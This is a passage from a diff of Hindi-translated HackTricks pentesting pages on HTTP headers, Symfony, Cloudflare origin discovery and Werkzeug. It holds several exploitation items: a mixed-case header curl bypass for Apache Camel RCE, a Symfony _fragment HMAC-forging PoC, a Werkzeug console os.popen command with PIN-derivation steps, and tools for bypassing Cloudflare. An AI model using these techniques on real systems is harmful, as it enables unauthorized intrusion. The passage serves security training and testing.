जो संकेत करता है कि क्लाइंट एक बड़ा डेटा पेलोड भेजने का इरादा रखता है। क्लाइंट ट्रांसमिशन के आगे बढ़ने से पहले `100 (Continue)` प्रतिक्रिया की प्रतीक्षा करता है। यह तंत्र नेटवर्क उपयोग को अनुकूलित करने में मदद करता है क्योंकि यह सर्वर की पुष्टि की प्रतीक्षा करता है। +- **`Expect`**: क्लाइंट द्वारा उपयोग किया जाता है ताकि अनुरोध को सफलतापूर्वक संसाधित करने के लिए सर्वर को जो अपेक्षाएँ पूरी करनी चाहिए, उन्हें संप्रेषित किया जा सके। एक सामान्य उपयोग मामला `Expect: 100-continue` हेडर से संबंधित है, जो संकेत करता है कि क्लाइंट एक बड़ा डेटा पेलोड भेजने का इरादा रखता है। क्लाइंट ट्रांसमिशन के साथ आगे बढ़ने से पहले `100 (Continue)` प्रतिक्रिया की तलाश करता है। यह तंत्र नेटवर्क उपयोग को अनुकूलित करने में मदद करता है क्योंकि यह सर्वर की पुष्टि की प्रतीक्षा करता है। ## डाउनलोड -- HTTP प्रतिक्रियाओं में **`Content-Disposition`** हेडर यह निर्देशित करता है कि क्या एक फ़ाइल को **inline** (वेबपृष्ठ के भीतर) प्रदर्शित किया जाना चाहिए या एक **संलग्नक** (डाउनलोड किया गया) के रूप में माना जाना चाहिए। उदाहरण के लिए: +- HTTP प्रतिक्रियाओं में **`Content-Disposition`** हेडर यह निर्देशित करता है कि क्या एक फ़ाइल **इनलाइन** (वेबपृष्ठ के भीतर) प्रदर्शित की जानी चाहिए या एक **संलग्नक** (डाउनलोड की गई) के रूप में व्यवहार किया जाना चाहिए। उदाहरण के लिए: ``` Content-Disposition: attachment; filename="filename.jpg" ``` -यह मतलब है कि "filename.jpg" नामक फ़ाइल को डाउनलोड और सहेजने के लिए बनाया गया है। +यह मतलब है कि "filename.jpg" नामक फ़ाइल को डाउनलोड और सहेजने के लिए डिज़ाइन किया गया है। ## सुरक्षा हेडर @@ -129,7 +129,7 @@ Content-Disposition: attachment; filename="filename.jpg" ### **विश्वसनीय प्रकार** -CSP के माध्यम से विश्वसनीय प्रकारों को लागू करके, अनुप्रयोगों को DOM XSS हमलों से सुरक्षित रखा जा सकता है। विश्वसनीय प्रकार यह सुनिश्चित करते हैं कि केवल विशेष रूप से तैयार किए गए ऑब्जेक्ट्स, जो स्थापित सुरक्षा नीतियों के अनुरूप हैं, खतरनाक वेब API कॉल में उपयोग किए जा सकते हैं, इस प्रकार डिफ़ॉल्ट रूप से JavaScript कोड को सुरक्षित करते हैं। +CSP के माध्यम से विश्वसनीय प्रकारों को लागू करके, अनुप्रयोगों को DOM XSS हमलों से सुरक्षित किया जा सकता है। विश्वसनीय प्रकार यह सुनिश्चित करते हैं कि केवल विशेष रूप से तैयार किए गए ऑब्जेक्ट्स, जो स्थापित सुरक्षा नीतियों के अनुरूप हैं, खतरनाक वेब API कॉल में उपयोग किए जा सकते हैं, इस प्रकार डिफ़ॉल्ट रूप से JavaScript कोड को सुरक्षित करते हैं। ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { @@ -160,7 +160,7 @@ X-Frame-Options: DENY ``` ### **Cross-Origin Resource Policy (CORP) और Cross-Origin Resource Sharing (CORS)** -CORP यह निर्दिष्ट करने के लिए महत्वपूर्ण है कि कौन से संसाधन वेबसाइटों द्वारा लोड किए जा सकते हैं, क्रॉस-साइट लीक को कम करते हुए। दूसरी ओर, CORS एक अधिक लचीला क्रॉस-ओरिजिन संसाधन साझा करने का तंत्र प्रदान करता है, कुछ शर्तों के तहत समान-उत्पत्ति नीति को ढीला करते हुए। +CORP यह निर्दिष्ट करने के लिए महत्वपूर्ण है कि कौन से संसाधन वेबसाइटों द्वारा लोड किए जा सकते हैं, क्रॉस-साइट लीक को कम करते हुए। दूसरी ओर, CORS एक अधिक लचीला क्रॉस-ओरिजिन संसाधन साझा करने का तंत्र प्रदान करता है, कुछ शर्तों के तहत समान-उत्सर्जन नीति को ढीला करते हुए। ``` Cross-Origin-Resource-Policy: same-origin Access-Control-Allow-Origin: https://example.com @@ -181,23 +181,23 @@ Strict-Transport-Security: max-age=3153600 ``` ## Header Name Casing Bypass -HTTP/1.1 header field-नामों को **केस-इंसेंसिटिव** के रूप में परिभाषित करता है (RFC 9110 §5.1)। फिर भी, यह बहुत सामान्य है कि कस्टम मिडलवेयर, सुरक्षा फ़िल्टर, या व्यावसायिक लॉजिक जो *शाब्दिक* हेडर नाम की तुलना करते हैं, पहले केस को सामान्य किए बिना (जैसे `header.equals("CamelExecCommandExecutable")`)। यदि ये जांचें **केस-सेंसिटिवली** की जाती हैं, तो एक हमलावर उन्हें बस एक अलग पूंजीकरण के साथ वही हेडर भेजकर बायपास कर सकता है। +HTTP/1.1 header field‐names को **case-insensitive** के रूप में परिभाषित करता है (RFC 9110 §5.1)। फिर भी, यह बहुत सामान्य है कि कस्टम मिडलवेयर, सुरक्षा फ़िल्टर, या व्यावसायिक लॉजिक ऐसे *literal* हेडर नाम की तुलना करते हैं जो पहले casing को सामान्य किए बिना प्राप्त होते हैं (जैसे `header.equals("CamelExecCommandExecutable")`)। यदि ये जांचें **case-sensitively** की जाती हैं, तो एक हमलावर उन्हें बस एक अलग पूंजीकरण के साथ वही हेडर भेजकर बायपास कर सकता है। इस गलती के प्रकट होने वाली सामान्य स्थितियाँ: -* कस्टम अनुमति/निषेध सूचियाँ जो संवेदनशील घटक तक पहुँचने से पहले "खतरनाक" आंतरिक हेडर को ब्लॉक करने की कोशिश करती हैं। -* इन-हाउस रिवर्स-प्रॉक्सी pseudo-headers (जैसे `X-Forwarded-For` की सफाई) का कार्यान्वयन। +* कस्टम अनुमति/निषेध सूचियाँ जो "खतरनाक" आंतरिक हेडर को ब्लॉक करने की कोशिश करती हैं इससे पहले कि अनुरोध एक संवेदनशील घटक तक पहुंचे। +* इन-हाउस कार्यान्वयन जो रिवर्स-प्रॉक्सी pseudo-headers (जैसे `X-Forwarded-For` sanitisation) का उपयोग करते हैं। * फ्रेमवर्क जो प्रबंधन / डिबग एंडपॉइंट्स को उजागर करते हैं और प्रमाणीकरण या कमांड चयन के लिए हेडर नामों पर निर्भर करते हैं। ### Abusing the bypass 1. एक हेडर की पहचान करें जो सर्वर-साइड पर फ़िल्टर या मान्य किया जाता है (उदाहरण के लिए, स्रोत कोड, दस्तावेज़, या त्रुटि संदेश पढ़कर)। -2. **विभिन्न केस के साथ वही हेडर भेजें** (मिश्रित-केस या अपर-केस)। क्योंकि HTTP स्टैक्स आमतौर पर हेडर को केवल *उपयोगकर्ता कोड चलने के बाद* मानकीकरण करते हैं, कमजोर जांच को छोड़ दिया जा सकता है। -3. यदि डाउनस्ट्रीम घटक हेडर को केस-इंसेंसिटिव तरीके से मानता है (अधिकतर ऐसा ही होता है), तो यह हमलावर-नियंत्रित मान को स्वीकार करेगा। +2. **विभिन्न casing** (mixed-case या upper-case) के साथ वही हेडर भेजें। क्योंकि HTTP स्टैक्स आमतौर पर हेडर को केवल *बाद में* सामान्यीकृत करते हैं जब उपयोगकर्ता कोड चल चुका होता है, इसलिए कमजोर जांच को छोड़ दिया जा सकता है। +3. यदि डाउनस्ट्रीम घटक हेडर को case-insensitive तरीके से मानता है (अधिकतर ऐसा ही होता है), तो यह हमलावर-नियंत्रित मान को स्वीकार करेगा। ### Example: Apache Camel `exec` RCE (CVE-2025-27636) -Apache Camel के कमजोर संस्करणों में *Command Center* रूट्स अविश्वसनीय अनुरोधों को ब्लॉक करने की कोशिश करते हैं, हेडर `CamelExecCommandExecutable` और `CamelExecCommandArgs` को हटा कर। तुलना `equals()` के साथ की गई थी, इसलिए केवल सटीक लोअरकेस नामों को हटाया गया। +Apache Camel के कमजोर संस्करणों में *Command Center* रूट्स अविश्वसनीय अनुरोधों को ब्लॉक करने की कोशिश करते हैं `CamelExecCommandExecutable` और `CamelExecCommandArgs` हेडर को हटा कर। तुलना `equals()` के साथ की गई थी इसलिए केवल सटीक लोअरकेस नामों को हटाया गया। ```bash # Bypass the filter by using mixed-case header names and execute `ls /` on the host curl "http:///command-center" \ diff --git a/src/network-services-pentesting/pentesting-web/symphony.md b/src/network-services-pentesting/pentesting-web/symphony.md index d50efbf17..10c720579 100644 --- a/src/network-services-pentesting/pentesting-web/symphony.md +++ b/src/network-services-pentesting/pentesting-web/symphony.md @@ -40,7 +40,7 @@ curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|t ### 1. APP_SECRET disclosure ➜ RCE via `/_fragment` (aka “secret-fragment”) * **CVE-2019-18889** मूल रूप से, लेकिन *अभी भी* आधुनिक लक्ष्यों पर दिखाई देता है जब डिबग सक्षम छोड़ दिया जाता है या `.env` उजागर होता है। -* एक बार जब आप 32-चर `APP_SECRET` जानते हैं, तो एक HMAC टोकन बनाएं और आंतरिक `render()` नियंत्रक का दुरुपयोग करें ताकि मनमाने Twig को निष्पादित किया जा सके: +* एक बार जब आप 32-चर `APP_SECRET` जानते हैं, तो एक HMAC टोकन तैयार करें और मनमाने Twig को निष्पादित करने के लिए आंतरिक `render()` नियंत्रक का दुरुपयोग करें: ```python # PoC – requires the secret import hmac, hashlib, requests, urllib.parse as u @@ -61,11 +61,11 @@ print(r.text) * उत्कृष्ट लेखन और शोषण स्क्रिप्ट: Ambionics ब्लॉग (संदर्भ में लिंक किया गया)। ### 2. Windows Process Hijack – CVE-2024-51736 -* `Process` घटक वर्तमान कार्यशील निर्देशिका को **PATH** से पहले खोजता है Windows पर। एक हमलावर जो एक लिखने योग्य वेब-रूट में `tar.exe`, `cmd.exe`, आदि अपलोड करने में सक्षम है और `Process` को ट्रिगर करता है (जैसे फ़ाइल निष्कर्षण, PDF निर्माण) कमांड निष्पादन प्राप्त करता है। +* `Process` घटक ने Windows पर `PATH` से **पहले** वर्तमान कार्यशील निर्देशिका की खोज की। एक हमलावर जो एक लिखने योग्य वेब-रूट में `tar.exe`, `cmd.exe`, आदि अपलोड करने में सक्षम है और `Process` को ट्रिगर करता है (जैसे फ़ाइल निष्कर्षण, PDF निर्माण) कमांड निष्पादन प्राप्त करता है। * 5.4.50, 6.4.14, 7.1.7 में पैच किया गया। ### 3. Session-Fixation – CVE-2023-46733 -* प्रमाणीकरण गार्ड ने लॉगिन के बाद एक मौजूदा सत्र ID का पुन: उपयोग किया। यदि एक हमलावर कुकी सेट करता है **पहले** पीड़ित प्रमाणीकरण करता है, तो वे लॉगिन के बाद खाते को हाईजैक कर लेते हैं। +* प्रमाणीकरण गार्ड ने लॉगिन के बाद एक मौजूदा सत्र ID का पुन: उपयोग किया। यदि एक हमलावर कुकी सेट करता है **पहले** पीड़ित प्रमाणीकरण करता है, तो वे लॉगिन के बाद खाते को हाईजैक कर लेते हैं। ### 4. Twig sandbox XSS – CVE-2023-46734 * उन अनुप्रयोगों में जो उपयोगकर्ता-नियंत्रित टेम्पलेट्स (व्यवस्थापक CMS, ईमेल बिल्डर) को उजागर करते हैं, `nl2br` फ़िल्टर का दुरुपयोग किया जा सकता है ताकि सैंडबॉक्स को बायपास किया जा सके और JS इंजेक्ट किया जा सके। @@ -101,24 +101,24 @@ symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target php bin/console about # confirm it works php bin/console cache:clear --no-warmup ``` -उपयोग करें deserialization gadgets कैश निर्देशिका के अंदर या एक दुर्भावनापूर्ण Twig टेम्पलेट लिखें जो अगले अनुरोध पर निष्पादित होगा। +Use deserialization gadgets inside the cache directory or write a malicious Twig template that will be executed on the next request. --- -## रक्षा नोट्स -1. **कभी भी डिबग तैनात न करें** (`APP_ENV=dev`, `APP_DEBUG=1`) उत्पादन में; `/app_dev.php`, `/_profiler`, `/_wdt` को वेब-सेवा कॉन्फ़िगरेशन में ब्लॉक करें। +## Defensive notes +1. **कभी भी debug** (`APP_ENV=dev`, `APP_DEBUG=1`) को production में लागू न करें; वेब-सेवा कॉन्फ़िगरेशन में `/app_dev.php`, `/_profiler`, `/_wdt` को ब्लॉक करें। 2. रहस्यों को env vars या `vault/secrets.local.php` में स्टोर करें, *कभी भी* उन फ़ाइलों में नहीं जो दस्तावेज़-रूट के माध्यम से सुलभ हैं। -3. पैच प्रबंधन को लागू करें - Symfony सुरक्षा सलाहकारियों की सदस्यता लें और कम से कम LTS पैच-स्तर बनाए रखें। +3. पैच प्रबंधन को लागू करें – Symfony सुरक्षा सलाहकारियों की सदस्यता लें और कम से कम LTS पैच-स्तर बनाए रखें। 4. यदि आप Windows पर चलाते हैं, तो तुरंत अपग्रेड करें ताकि CVE-2024-51736 को कम किया जा सके या `open_basedir`/`disable_functions` रक्षा-गहराई जोड़ें। --- -### उपयोगी आक्रामक उपकरण +### Useful offensive tooling * **ambionics/symfony-exploits** – secret-fragment RCE, debugger routes discovery. -* **phpggc** – Symfony 1 & 2 के लिए तैयार-निर्मित gadget chains। -* **sf-encoder** – `_fragment` HMAC (Go implementation) की गणना करने के लिए छोटा सहायक। +* **phpggc** – Ready-made gadget chains for Symfony 1 & 2. +* **sf-encoder** – small helper to compute `_fragment` HMAC (Go implementation). -## संदर्भ +## References * [Ambionics – Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment) * [Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index 8abc3ee21..6814cd51e 100644 --- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -4,20 +4,21 @@ ## Common Techniques to Uncover Cloudflare -- आप किसी सेवा का उपयोग कर सकते हैं जो डोमेन के **ऐतिहासिक DNS रिकॉर्ड** प्रदान करती है। शायद वेब पृष्ठ एक IP पते पर चल रहा है जो पहले उपयोग किया गया था। -- **ऐतिहासिक SSL प्रमाणपत्रों** की जांच करके भी यही हासिल किया जा सकता है जो मूल IP पते की ओर इशारा कर सकते हैं। -- **अन्य उपडोमेन के DNS रिकॉर्ड** की भी जांच करें जो सीधे IPs की ओर इशारा कर रहे हैं, क्योंकि यह संभव है कि अन्य उपडोमेन उसी सर्वर की ओर इशारा कर रहे हों (शायद FTP, मेल या किसी अन्य सेवा की पेशकश करने के लिए)। -- यदि आप वेब एप्लिकेशन के अंदर एक **SSRF** पाते हैं तो आप इसका दुरुपयोग करके सर्वर का IP पता प्राप्त कर सकते हैं। -- ब्राउज़रों में वेब पृष्ठ की एक अद्वितीय स्ट्रिंग खोजें जैसे shodan (और शायद google और समान?)। शायद आप उस सामग्री के साथ एक IP पता पा सकते हैं। +- आप किसी सेवा का उपयोग कर सकते हैं जो आपको डोमेन के **ऐतिहासिक DNS रिकॉर्ड** देती है। शायद वेब पृष्ठ एक ऐसे IP पते पर चल रहा है जो पहले उपयोग किया गया था। +- ऐसा ही **ऐतिहासिक SSL प्रमाणपत्रों की जांच करके** किया जा सकता है जो मूल IP पते की ओर इशारा कर सकते हैं। +- अन्य **सबडोमेन के DNS रिकॉर्ड** की भी जांच करें जो सीधे IPs की ओर इशारा कर रहे हैं, क्योंकि यह संभव है कि अन्य सबडोमेन उसी सर्वर की ओर इशारा कर रहे हों (शायद FTP, मेल या किसी अन्य सेवा की पेशकश करने के लिए)। +- यदि आप वेब एप्लिकेशन के अंदर एक **SSRF** पाते हैं, तो आप इसका दुरुपयोग करके सर्वर का IP पता प्राप्त कर सकते हैं। +- ब्राउज़रों में वेब पृष्ठ की एक अद्वितीय स्ट्रिंग की खोज करें जैसे कि शोडन (और शायद गूगल और समान?)। शायद आप उस सामग्री के साथ एक IP पता पा सकते हैं। - इसी तरह, अद्वितीय स्ट्रिंग की तलाश करने के बजाय, आप टूल का उपयोग करके फ़ेविकॉन आइकन की खोज कर सकते हैं: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) या [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) - यह बहुत बार काम नहीं करेगा क्योंकि सर्वर को IP पते द्वारा पहुंचने पर वही प्रतिक्रिया भेजनी चाहिए, लेकिन आप कभी नहीं जानते। ## Tools to uncover Cloudflare -- डोमेन की खोज करें [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) या [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) के अंदर। या टूल का उपयोग करें [CloudPeler](https://github.com/zidansec/CloudPeler) (जो उस API का उपयोग करता है) +- डोमेन की खोज करें [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) या [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) में। या टूल का उपयोग करें [CloudPeler](https://github.com/zidansec/CloudPeler) (जो उस API का उपयोग करता है) - डोमेन की खोज करें [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) -- [**CloudFlair**](https://github.com/christophetd/CloudFlair) एक टूल है जो डोमेन नाम वाले Censys प्रमाणपत्रों का उपयोग करके खोज करेगा, फिर वह उन प्रमाणपत्रों के अंदर IPv4s की खोज करेगा और अंततः उन IPs में वेब पृष्ठ तक पहुंचने की कोशिश करेगा। -- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r एक शक्तिशाली Python टूल है जिसे Cloudflare और अन्य विकल्पों द्वारा सुरक्षित वेबसाइटों के वास्तविक IP पते को उजागर करने के लिए सावधानीपूर्वक तैयार किया गया है, जो एक व्यापक रूप से अपनाया गया वेब सुरक्षा और प्रदर्शन सुधार सेवा है। इसका मुख्य मिशन Cloudflare की सुरक्षा ढाल के पीछे छिपे वेब सर्वरों के वास्तविक IP पते को सटीक रूप से पहचानना है। +- [**CF-Hero**](https://github.com/musana/CF-Hero) एक व्यापक अन्वेषण उपकरण है जिसे Cloudflare द्वारा संरक्षित वेब अनुप्रयोगों के वास्तविक IP पते का पता लगाने के लिए विकसित किया गया है। यह विभिन्न तरीकों के माध्यम से बहु-स्रोत खुफिया संग्रह करता है। +- [**CloudFlair**](https://github.com/christophetd/CloudFlair) एक उपकरण है जो डोमेन नाम वाले Censys प्रमाणपत्रों का उपयोग करके खोज करेगा, फिर उन प्रमाणपत्रों के अंदर IPv4s की खोज करेगा और अंततः उन IPs में वेब पृष्ठ तक पहुंचने की कोशिश करेगा। +- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r एक शक्तिशाली Python उपकरण है जिसे Cloudflare और अन्य विकल्पों द्वारा संरक्षित वेबसाइटों के वास्तविक IP पते का पता लगाने के लिए सावधानीपूर्वक तैयार किया गया है, जो एक व्यापक रूप से अपनाया गया वेब सुरक्षा और प्रदर्शन सुधार सेवा है। इसका मुख्य मिशन Cloudflare की सुरक्षा ढाल के पीछे छिपे वेब सर्वरों के वास्तविक IP पते को सटीक रूप से पहचानना है। - [Censys](https://search.censys.io/) - [Shodan](https://shodan.io/) - [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history) @@ -35,12 +36,13 @@ echo "Checking $ir" prips $ir | hakoriginfinder -h "$DOMAIN" done ``` -## Cloud अवसंरचना से Cloudflare का पता लगाना +## Uncovering Cloudflare from Cloud infrastructure ध्यान दें कि भले ही यह AWS मशीनों के लिए किया गया हो, यह किसी अन्य क्लाउड प्रदाता के लिए भी किया जा सकता है। इस प्रक्रिया का बेहतर विवरण देखने के लिए चेक करें: + {{#ref}} https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks {{#endref}} @@ -59,7 +61,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. ``` ## Cloudflare को Cloudflare के माध्यम से बायपास करना -### प्रमाणित मूल खींचना +### प्रमाणित मूल पुल यह तंत्र **Cloudflare के रिवर्स-प्रॉक्सी** सर्वरों और **मूल** सर्वर के बीच कनेक्शनों को प्रमाणित करने के लिए **ग्राहक** [**SSL प्रमाणपत्रों**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) पर निर्भर करता है, जिसे **mTLS** कहा जाता है। @@ -72,7 +74,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. ### Cloudflare IP पते की अनुमति सूची -यह **Cloudflare के** IP पते की रेंज से उत्पन्न नहीं होने वाले कनेक्शनों को **अस्वीकृत** करेगा। यह पिछले सेटअप के लिए भी संवेदनशील है जहां एक हमलावर बस **Cloudflare में अपना डोमेन** पीड़ित के **IP** पते की ओर इंगित करता है और उस पर हमला करता है। +यह **उन कनेक्शनों को अस्वीकार कर देगा जो Cloudflare के** IP पते की रेंज से उत्पन्न नहीं होते हैं। यह पिछले सेटअप के लिए भी संवेदनशील है जहां एक हमलावर बस **Cloudflare में अपना स्वयं का डोमेन** पीड़ित के IP पते की ओर इंगित करता है और उस पर हमला करता है। अधिक जानकारी [**यहां**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)। @@ -93,7 +95,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. ### Cloudflare सॉल्वर -कई Cloudflare सॉल्वर विकसित किए गए हैं: +Cloudflare सॉल्वर विकसित किए गए हैं: - [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr) - [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [गाइड यहां](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/) @@ -122,15 +124,15 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. - [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32) - [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) अपने स्वामित्व वाले Cloudflare बायपास तंत्र के लिए जाने जाते हैं। -जो लोग एक अनुकूलित समाधान की तलाश में हैं, [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) विशेष रूप से उल्लेखनीय है। यह सेवा 20 से अधिक प्रॉक्सी प्रदाताओं को एकल API में एकीकृत करती है, स्वचालित रूप से आपके लक्षित डोमेन के लिए सबसे अच्छे और सबसे लागत-कुशल प्रॉक्सी का चयन करती है, इस प्रकार Cloudflare की सुरक्षा को नेविगेट करने के लिए एक उत्कृष्ट विकल्प प्रदान करती है। +जो लोग एक अनुकूलित समाधान की तलाश कर रहे हैं, [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) सबसे अलग है। यह सेवा 20 से अधिक प्रॉक्सी प्रदाताओं को एकल API में एकीकृत करती है, स्वचालित रूप से आपके लक्षित डोमेन के लिए सबसे अच्छा और सबसे लागत प्रभावी प्रॉक्सी चुनती है, इस प्रकार Cloudflare की रक्षा को नेविगेट करने के लिए एक बेहतर विकल्प प्रदान करती है। ### Cloudflare एंटी-बॉट सुरक्षा का रिवर्स इंजीनियरिंग -Cloudflare के एंटी-बॉट उपायों का रिवर्स इंजीनियरिंग स्मार्ट प्रॉक्सी प्रदाताओं द्वारा उपयोग की जाने वाली एक रणनीति है, जो कई हेडलेस ब्राउज़रों को चलाने की उच्च लागत के बिना बड़े पैमाने पर वेब स्क्रैपिंग के लिए उपयुक्त है। +Cloudflare के एंटी-बॉट उपायों का रिवर्स इंजीनियरिंग स्मार्ट प्रॉक्सी प्रदाताओं द्वारा उपयोग की जाने वाली एक रणनीति है, जो बिना कई हेडलेस ब्राउज़रों को चलाने की उच्च लागत के बिना बड़े पैमाने पर वेब स्क्रैपिंग के लिए उपयुक्त है। -**फायदे:** यह विधि Cloudflare की जांचों को लक्षित करने के लिए एक अत्यधिक कुशल बायपास बनाने की अनुमति देती है, जो बड़े पैमाने पर संचालन के लिए आदर्श है। +**लाभ:** यह विधि Cloudflare की जांचों को लक्षित करने के लिए एक अत्यधिक कुशल बायपास बनाने की अनुमति देती है, जो बड़े पैमाने पर संचालन के लिए आदर्श है। -**नुकसान:** नुकसान यह है कि Cloudflare की जानबूझकर अस्पष्ट एंटी-बॉट प्रणाली को समझने और धोखा देने में जटिलता शामिल है, जिसमें विभिन्न रणनीतियों का परीक्षण करने और Cloudflare की सुरक्षा को बढ़ाने के साथ बायपास को अपडेट करने के लिए निरंतर प्रयास की आवश्यकता होती है। +**नुकसान:** नुकसान यह है कि Cloudflare की जानबूझकर अस्पष्ट एंटी-बॉट प्रणाली को समझने और धोखा देने में जटिलता शामिल है, जिसमें विभिन्न रणनीतियों का परीक्षण करने और बायपास को अपडेट करने के लिए निरंतर प्रयास की आवश्यकता होती है क्योंकि Cloudflare अपनी सुरक्षा को बढ़ाता है। इस बारे में अधिक जानकारी के लिए [मूल लेख](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/) देखें। diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index fdc110b7c..dd394c3be 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -4,7 +4,7 @@ ## Console RCE -यदि डिबग सक्रिय है, तो आप `/console` पर पहुँचने और RCE प्राप्त करने का प्रयास कर सकते हैं। +यदि डिबग सक्रिय है, तो आप `/console` तक पहुँचने और RCE प्राप्त करने का प्रयास कर सकते हैं। ```python __import__('os').popen('whoami').read(); ``` @@ -12,7 +12,7 @@ __import__('os').popen('whoami').read(); इंटरनेट पर कई एक्सप्लॉइट्स भी हैं जैसे [यह ](https://github.com/its-arun/Werkzeug-Debug-RCE)या मेटास्प्लॉइट में एक। -## पिन सुरक्षित - पथ ट्रैवर्सल +## पिन सुरक्षित - पथ यात्रा कुछ अवसरों पर **`/console`** एंडपॉइंट एक पिन द्वारा सुरक्षित होगा। यदि आपके पास **फाइल ट्रैवर्सल वल्नरेबिलिटी** है, तो आप उस पिन को उत्पन्न करने के लिए सभी आवश्यक जानकारी लीक कर सकते हैं। @@ -24,7 +24,7 @@ The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -एक संदेश "कंसोल लॉक" परिदृश्य के बारे में तब सामने आता है जब Werkzeug के डिबग इंटरफेस तक पहुँचने का प्रयास किया जाता है, जो कंसोल को अनलॉक करने के लिए एक PIN की आवश्यकता को इंगित करता है। सुझाव दिया गया है कि कंसोल PIN का शोषण करने के लिए Werkzeug के डिबग प्रारंभिक फ़ाइल (`__init__.py`) में PIN जनरेशन एल्गोरिदम का विश्लेषण किया जाए। PIN जनरेशन तंत्र का अध्ययन [**Werkzeug स्रोत कोड भंडार**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) से किया जा सकता है, हालांकि संभावित संस्करण भिन्नताओं के कारण वास्तविक सर्वर कोड को फ़ाइल ट्रैवर्सल भेद्यता के माध्यम से प्राप्त करने की सलाह दी जाती है। +"console locked" परिदृश्य के संबंध में एक संदेश तब सामने आता है जब Werkzeug के डिबग इंटरफेस तक पहुँचने का प्रयास किया जाता है, जो कंसोल को अनलॉक करने के लिए एक PIN की आवश्यकता को इंगित करता है। सुझाव दिया गया है कि कंसोल PIN का शोषण करने के लिए Werkzeug के डिबग प्रारंभिक फ़ाइल (`__init__.py`) में PIN जनरेशन एल्गोरिदम का विश्लेषण किया जाए। PIN जनरेशन तंत्र का अध्ययन [**Werkzeug स्रोत कोड भंडार**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) से किया जा सकता है, हालांकि संभावित संस्करण भिन्नताओं के कारण वास्तविक सर्वर कोड को फ़ाइल ट्रैवर्सल भेद्यता के माध्यम से प्राप्त करने की सलाह दी जाती है। कंसोल PIN का शोषण करने के लिए, दो सेट के वेरिएबल्स, `probably_public_bits` और `private_bits`, की आवश्यकता होती है: @@ -32,23 +32,23 @@ shell that runs the server - **`username`**: उस उपयोगकर्ता को संदर्भित करता है जिसने Flask सत्र शुरू किया। - **`modname`**: आमतौर पर `flask.app` के रूप में नामित होता है। -- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: आमतौर पर **Flask** में हल होता है। +- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: सामान्यतः **Flask** में हल होता है। - **`getattr(mod, '__file__', None)`**: Flask निर्देशिका के भीतर `app.py` के लिए पूर्ण पथ का प्रतिनिधित्व करता है (जैसे, `/usr/local/lib/python3.5/dist-packages/flask/app.py`)। यदि `app.py` लागू नहीं है, तो **`app.pyc`** का प्रयास करें। #### **`private_bits`** - **`uuid.getnode()`**: वर्तमान मशीन का MAC पता प्राप्त करता है, जिसमें `str(uuid.getnode())` इसे दशमलव प्रारूप में अनुवादित करता है। -- **सर्वर के MAC पते का निर्धारण करने के लिए**, एक को सक्रिय नेटवर्क इंटरफेस की पहचान करनी होगी जिसका उपयोग ऐप द्वारा किया जा रहा है (जैसे, `ens3`)। यदि अनिश्चितता हो, तो **`/proc/net/arp`** लीक करें ताकि डिवाइस ID मिल सके, फिर **`/sys/class/net//address`** से **MAC पता निकालें**। +- सर्वर के MAC पते को **निर्धारित करने के लिए**, एक को सक्रिय नेटवर्क इंटरफेस की पहचान करनी होगी जिसका उपयोग ऐप द्वारा किया जा रहा है (जैसे, `ens3`)। यदि अनिश्चितता हो, तो **`/proc/net/arp`** को लीक करें ताकि डिवाइस ID मिल सके, फिर **MAC पता निकालें** **`/sys/class/net//address`** से। - एक हेक्साडेसिमल MAC पते को दशमलव में परिवर्तित करने के लिए नीचे दिखाए अनुसार किया जा सकता है: ```python -# उदाहरण MAC पता: 